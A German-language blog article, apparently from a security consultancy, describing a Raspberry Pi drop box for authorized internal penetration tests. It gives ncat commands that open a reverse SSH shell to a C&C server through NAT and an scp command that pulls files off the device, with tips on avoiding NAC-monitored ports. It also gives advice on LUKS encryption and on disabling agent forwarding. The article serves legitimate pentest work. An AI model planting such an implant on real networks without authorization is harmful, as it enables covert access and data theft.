Ist die Geschäftskontinuität nicht Teil der Sicherheit?
Andrea Covello
So nutzen Sie einen Raspberry Pi für internes Pentesting
Das in diesem Artikel präsentierte Script soll einen sicheren Kommunikationskanal zum Raspberry Pi zuverlässig zur Verfügung stellen und aufrechterhalten. Dieses kann von unserem GitHub Repository bezogen werden.
In der Default-Konfiguration versucht das Script phone_home.sh
ein aktives UMTS-Device zu verwenden, um sich mit dem C&C Server zu verbinden, wie dem Huawei e3372 LTE Stick, welchen wir zum Testen verwendet haben. In einem ersten Schritt startet das Script einen WLAN-Hotspot mit hostapd
. Damit kann auch auf das Raspberry Pi zugegriffen werden, wenn die mobile Verbindung fehlschlägt, sofern es möglich ist in der Umgebung um das Raspberry Pi herum zu arbeiten. Als nächstes sucht das Script nach passenden Interfaces, die es verwenden kann, um sich mit dem C&C Server zu verbinden. Um zu verhindern, dass das Script ein Interface verwendet, welches an einem NAC-kontrollierten oder anderweitig überwachten Netzwerkport angeschlossen ist, verwendet das Script nur Interfaces, deren MAC-Adressen in einer vorkonfigurierten Whitelist enthalten sind. Wenn kein passendes Interface gefunden wird oder ein verwendetes Interface verloren geht, kontrolliert das Script alle 5 Sekunden, ob neue Interfaces verfügbar sind. Das erlaubt flexibles Hotplugging von Interfaces, welche in der Whitelist enthalten sind, nachdem das Raspberry Pi bereits in der Zielumgebung aufgesetzt ist.
Nachdem ein Interface gefunden wurde, konfiguriert das Script es mit dhclient
. Bei aktiven UMTS-Devices, wie dem Huawei e3372, oder auch drahtlosen Geräten, wie dem Huawei e5577, welche ein eigenes lokales Netzwerk etablieren, einen eigenen DHCP-Server laufen und NAT betreiben, ist das der gewünschte Ansatz. Um das Script für verschiedene Geräte und Anforderungen flexibel zu halten, sind die Interface-Konfiguration und andere Tasks jeweils in ihrer eigenen Funktion enthalten, die bei Bedarf in der Main-Routine ausgetauscht werden können.
In einem nächsten Schritt fügt das Script statische Routen für alle konfigurierten C&C Server hinzu. Diese Hosts werden auch in der Iptables OUTPUT-Chain der Filter-Table explizit erlaubt, um zu verhindern, dass sich der Pentester über das Netzwerk aussperrt, wenn er zum Beispiel in einem nächsten Schritt das NAC-Bypass Script verwendet. Danach versucht das Script sich mit jedem konfigurierten C&C Server zu verbinden.
Der Kommunikationskanal verwendet SSH für die grossen Sicherheits- und Usability-Vorteile, die es im Vergleich zu anderen Methoden bietet. Ein angetroffenes Problem ist, dass der Grossteil der komerziell verfügbaren UMTS-Geräte NAT betreiben, womit es für die C&C Server nicht möglich ist, eine Verbindung zum Raspberry Pi aufzubauen. Zuerst schien es so, als wäre Remote-Port-Forwarding die einzige Möglichkeit an eine SSH-Shell von einem Gerät hinter NAT zu kommen. Das würde erfordern, dass das Raspberry Pi zuerst eine SSH-Verbindung zum C&C Server aufbaut, um den Remote-Port zu forwarden. Das ist in diesem Fall kein verwendbarer Ansatz, weil das Raspberry Pi unbeaufsichtigt in einer potentiell feindlichen Umgebung aufgestellt sein kann. Jede Person, welche das Raspberry-Pi findet, kann mit den Private-Keys auf dem Gerät ebenfalls eine SSH-Session auf dem C&C Server bekommen. Hier kommt SSH’s ProxyCommand
Option ins Spiel. Die ProxyCommand-Direktive nimmt irgendeinen Befehl, welcher von seinem STDIN
liest und zurückgeschickte Daten auf STDOUT
ausgibt. Solange die Daten den SSH-Server irgendwo am anderen Ende erreichen, sollte eine SSH-Verbindung aufgebaut werden können. Das Script versucht mit folgendem Befehl eine Verbindung zu einem C&C Server aufzubauen:
ncat $_host $_port --wait 10 --sh-exec "ncat 127.0.0.1 $SSHD_PORT"
Wir können die Verbindung mit folgendem Befehl auf dem C&C Server empfangen:
ssh -o "ProxyCommand ncat -vlp <port>" <user>@localhost
SSH ist nicht in der Herstellung der TCP-Verbindung mit dem Raspberry Pi involviert, weshalb wir jeweils localhost
als Host angeben können. Sobald sich die ncat
Instanz auf dem Raspberry Pi mit dem C&C Server verbunden hat, führt sie eine weitere ncat
Instanz aus, die sich mit dem lokalen SSH-Server verbindet und zu welcher sie alle erhaltenen Daten weitergibt. Jetzt wird der ganze SSH-Traffic über diese TCP-Verbindung geschickt und wir haben eine reverse SSH-Shell von einem unvertrauten Host, dem Raspberry Pi, durch das NAT funktioniert, ohne dass wir Private-Keys auf dem Raspberry Pi halten.
Das Script kontrolliert die konfigurierten C&C Server alle 60 Sekunden und verbindet sich mit dem ersten welcher verfügbar ist. Dafür verschickt es jeweils nur einen TCP SYN ohne den Handshake zu vollenden, damit der Listener auf dem C&C Server nicht geschlossen wird:
[[ -n $(hping3 --syn -c 3 $_host -p $_port | grep -m 1 -io "flags=SA") ]] && ncat $_host $_port --wait 10 --sh-exec "ncat 127.0.0.1 $SSHD_PORT"
Eine Weitere Funktionalität ist das Monitoren von USB-Geräten. Wenn ein unerwartetes USB-Gerät erkannt wird, fährt das Raspberry Pi herunter. Das ist ein rudimentäres Sicherheits-Feature, das dazu gedacht ist, geringere Bedrohungen davon abzuhalten, das Gerät zu proben. Nichts hält einen Finder davon ab, die SD-Karte des Raspberry Pis zu entfernen und die Inhalte auf einem anderen Gerät zu analysieren. Diese Funktionalität könnte zu einem späteren Zeitpunkt entfernt werden, da ein herunterfahren des Geräts unpraktisch ist für den Penetration Tester und die sehr marginale Sicherheitsleistung nicht wert ist. Dieses Feature ist per Default nicht aktiv.
Über das Script hinweg sind mehrere Kontrollen und Wiederholversuche implementiert, um höhere Stabilität und Widerstandsfähigkeit gegenüber scheinbar zufälligen Fehlern entgegenzuwirken, welche beim Testen aufgekommen sind. Dazu gehören Fehlschläge beim Registrieren des UMTS-Sticks oder vom Stick verworfene Pakete, weil er nach kurzer Zeit der Inaktivität in einen Ruhezustand geht.
Das Script nimmt keine Command-Line-Argumente an, weil es gedacht ist beim Boot zu laufen. Es gibt ein zugehöriges Script prep.sh
, welches auf Debian-basierten Systemen laufen gelassen werden kann, um die nötigen Programme von den Repos zu installieren und Konfigurationsdateien für hostapd
und udhcpd
(Busybox Version eines DHCP-Servers für Geräte mit ARM-Architektur). Dieses sollte nur einmal laufen müssen, um das Gerät vorzubereiten.
Variablen in einer Konfigurationsdatei können modifiziert werden, um das Verhalten des Scripts anzupassen. Die Konfigurationsdatei ist eine Liste an Variable-Definitionen im Bash-Syntax, die zur Laufzeit importiert werden. Die Konfiguration wird von phone_home.sh
und prep.sh
importiert und verhindert, dass gleiche Variablen in beiden Scripts angepasst werden müssen.
Für eine minimale Konfiguration sollten folgende Variablen angepasst werden:
MACS
: Array von MAC-Adressen von Interfaces, die verwendet dürfen, um den C&C Server zu kontaktierenHOMES
: Array von C&C Servern, die sequentiell angesteuert werden in der Form “IP:Port” pro Array-ElementSSHD_PORT
: Port des SSH-Servers auf dem Raspberry PiUm den WLAN-Hotspot als Fallback zu aktivieren, sollte DISABLE_HOTSPOT
auf 0
und WIRELESS_IFACE
auf den Namen des WLAN-Interface gesetzt werden.
Um das grundlegende USB-Monitoring “Feature” zu verwenden, können alle USB-Devices eingesteckt und der Output von lsusb
in die GOOD_USB
Config-Variable gesetzt werden. USB_DEBUG
kann zum Testen auf 1
gesetzt werden.
Um Dateien vom Raspberry Pi abzuziehen, kann scp
auf dieselbe Art wie SSH verwendet werden:
scp -o "ProxyCommand ncat -vlp <port>" <user>@localhost:/<remote_source>/ /<local_target>
Das Script versucht alle 60 Sekunden eine Verbindung mit den konfigurierten C&C Servern aufzubauen. Wenn eine SSH-Session bereits aktiv ist, pausiert das Script weitere Verbindungsversuche. In diesem Fall kann der selbe Befehl der auch im Script verwendet wird, manuell aufgerufen werden:
ncat -v <ip> <port> --sh-exec "ncat 127.0.0.1 <SSHD_PORT>"
Während dem Testen mit dem Huawei e3372 Stick sind nach wenigen Minuten der Inaktivität gewisse Verbindungen eingefroren, da der UMTS-Stick in den Ruhezustand geht. Der Stick kann nicht mit externem Netzwerkverkehr aufgeweckt werden, wodurch die SSH-Session nicht reaktiviert werden kann. Um das zu verhindern, kann die ServerAliveInterval
Option mit SSH verwendet werden, um als Keep-Alive zu fungieren:
ssh -o "ProxyCommand ncat -vlp <port>" -o "ServerAliveInterval 20" <user>@localhost
Dieses Beispiel fragt vom SSH-Server eine Antwort ab, wenn 20 Sekunden lang keine Daten empfangen wurden. Nach dem Beenden der SSH-Session geht das Script wieder dazu über, alle 60 Sekunden lang die konfigurierten C&C Server nach offenen Listenern zu scannen.
Das Aufstellen eines unbeaufsichtigten Geräts kommt mit eigenen Risiken und Herausforderungen. Das Raspberry Pi kann nicht vollständig verschlüsselt werden, weil es in der Lage sein muss, autonom hochzufahren. Glücklicherweise konnten wir vermeiden, Private-Keys auf dem Device zu abzulegen. Um sensitive Daten zu speichern, sollte ein verschlüsselter Container verwendet werden, welcher geöffnet werden kann, nachdem man sich mit dem Raspberry Pi verbindet.
Dafür kann einer Datei ein wenig Speicherplatz zugeordnet und diese formatiert werden:
$ fallocate -l 5G crypted
# cryptsetup luksFormat crypted
Danach kann es geöffnet und gemountet werden, zum Beispiel im Home-Verzeichnis des Benutzers:
# cryptsetup luksOpen crypted crypthome # mount /dev/mapper/crypthome /<homedir>/
Es sollte bedacht werden, dass die Integrität der Inhalte ausserhalb des verschlüsselten Containers nicht gewährleistet ist. Besonders nach einem langen Shutdown des Raspberry Pis, bei dem die SD-Karte entfernt und dessen Inhalt manipuliert werden konnte. Damit kann auch die Vertraulichkeit und Integrität der Inhalte des verschlüsselten Containers nicht gewährleistet werden, da die Inhalte nach dem öffnen ebenfalls ausgelesen und manipuliert werden können, wenn das System kompromittiert ist.
Um das Schadenspotential im Falle einer Kompromittierung zu minimieren, sollte SSH Agent Forwarding deaktiviert werden. SSH Agent Forwarding ist nützlich, weil es erlaubt, von Host 0 zu Host 1 zu SSHen und dann von Host 1 weiter zu Host 2. Der Authentication Request von Host 2 wird über Host 1 an Host 0 weitergeleitet. Je nach verwendetem Agent geschieht die Authentisierung leise ohne Einwirkung des Benutzers auf Host 0. Wenn das Raspberry Pi kompromittiert ist, kann Agent Forwarding missbraucht werden, um in beliebige Hosts zu SSHen die mit dem Public-Key des Benutzers konfiguriert sind.
Um die Downtime eines zuvor am verwendeten Netzwerkport angeschlossenen Geräts zu minimieren, sollte der Netzwerkverkehr an einem Netzwerkport automatisch an den anderen Netzwerkport weitergeleitet werden. Hier wird angenommen, dass das Raspberry Pi 3 Interfaces hat, von denen 2 nicht mit dem Control-Channel zum C&C Server assoziiert sind.
Unsere Spezialisten kontaktieren Sie gern!
Andrea Covello
Michèle Trebo
Lucie Hoffmann
Yann Santschi
Unsere Spezialisten kontaktieren Sie gern!